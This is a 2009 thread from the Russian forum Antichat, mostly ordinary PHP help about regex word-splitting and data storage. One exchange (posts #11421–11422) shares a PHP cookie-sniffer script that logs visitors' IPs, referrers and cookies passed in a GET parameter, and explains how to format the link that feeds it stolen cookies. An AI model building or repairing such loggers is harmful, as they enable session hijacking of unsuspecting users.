ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11421  
Старый 20.07.2009, 16:02
Аватар для kiddie
kiddie
Новичок
Регистрация: 15.07.2009
Сообщений: 20
Провел на форуме:
271833

Репутация: 4
По умолчанию

Подскажите, есть пхп скрипт при переходе на который должно записывать в текстовый файл ip, ссылку с котрой пришли и куки. все записывает кроме куки...подскажите где ошибка
PHP код:
<?php   $f fopen("log.txt""a");   fwrite($f"IP: {$_SERVER['REMOTE_ADDR']} Ref: {$_SERVER   ['HTTP_REFERER']} Cookie: {$HTTP_GET_VARS['c']}\n");   fclose($f);   ?>
 
Ответить с цитированием

  #11422  
Старый 20.07.2009, 19:40
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Сцылка должна быть в формате: log.php?c=cookies
 
Ответить с цитированием

  #11423  
Старый 20.07.2009, 20:15
Аватар для Naydav
Naydav
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
Провел на форуме:
849583

Репутация: 210
По умолчанию

Вопрос:
Вообщем задача такова, если в тексте присутствует слишком длинное слово, то автоматом вставляем после n символов пробел

Пример, "привет логиннннннннннннннннннннн нннннннннн" заменит на "привет логиннннннннннннн нннннннннннннннннн"

Возможно ли регуляркой? (без перебора каждого слова)

Последний раз редактировалось Naydav; 20.07.2009 в 20:19..
 
Ответить с цитированием

  #11424  
Старый 20.07.2009, 20:41
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

PHP код:
<?php
echo preg_replace('#\S{10}#','\0 ','привет логиннннннннннннннннннннннннннннннн');
?>
 
Ответить с цитированием

  #11425  
Старый 21.07.2009, 00:12
Аватар для AdmSmsTel
AdmSmsTel
Познающий
Регистрация: 28.04.2009
Сообщений: 44
Провел на форуме:
106748

Репутация: 4
По умолчанию

Цитата:
Сообщение от sNt  
Откуда он должен брать этот файл? Из инета или с соседней папки?
из компа и заливаю на сайт
 
Ответить с цитированием

  #11426  
Старый 21.07.2009, 00:49
Аватар для Naydav
Naydav
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
Провел на форуме:
849583

Репутация: 210
По умолчанию

Цитата:
Сообщение от mailbrush  
PHP код:
<?php
echo preg_replace('#\S{10}#','\0 ','привет логиннннннннннннннннннннннннннннннн');
?>
Вот только "привет логиннннннннннннннннннннн нннннннннн", я взял для примера(я и написал об этом)

Текст может быть любой, но все слова из текста, длинна которых превышает N, должны быть разбиты пробелом

Возможно ли получить результат без перебора всех слов текста

Последний раз редактировалось Naydav; 21.07.2009 в 00:55..
 
Ответить с цитированием

  #11427  
Старый 21.07.2009, 00:57
Аватар для Fepsis
Fepsis
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме:
6962560

Репутация: 536


По умолчанию

Цитата:
Сообщение от Naydav  
Вот только "привет логиннннннннннннннннннннн нннннннннн", я взял для примера(я и написал об этом)

Текст может быть любой, но все слова из текста, длинна которых превышает N, должны быть разбиты пробелом

Возможно ли получить результат без перебора всех слов текста
Скрипт работает с любым текстом..!!!!!!!
 
Ответить с цитированием

  #11428  
Старый 21.07.2009, 01:05
Аватар для Naydav
Naydav
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
Провел на форуме:
849583

Репутация: 210
По умолчанию

Цитата:
Сообщение от Fepsis  
Скрипт работает с любым текстом..!!!!!!!
Правда, не досмотрел вечером(там же preg_replace)
спасибо

ps
ну паттерн - \S{10}, ясно, что означает
А подскажите плз, что означает реплейс '\0 '
Почему именно 0(можно хотя бы ссылкой)

все разобрался, просто привык использовать $n, а не \n

Последний раз редактировалось Naydav; 21.07.2009 в 01:43..
 
Ответить с цитированием

  #11429  
Старый 21.07.2009, 01:34
Аватар для roddik
roddik
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме:
244235

Репутация: 39
По умолчанию

Naydav, http://ua.php.net/manual/en/function.preg-replace.php - Там Parameters - replacement

Кстати, если ты это для нормального отображения длинных строк в браузере, юзай лучше не пробел, а тэг <wbr>
 
Ответить с цитированием

  #11430  
Старый 21.07.2009, 18:25
Аватар для fastiktut
fastiktut
Новичок
Регистрация: 28.01.2009
Сообщений: 9
Провел на форуме:
35186

Репутация: 7
По умолчанию

подскажите нужен скрипт, посылаю на него два параметра пост или гет запросом, он записывает их в базу или в файл. И проверяет каждый раз, если данные уже такие есть, то записывать их не надо.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT.XYZ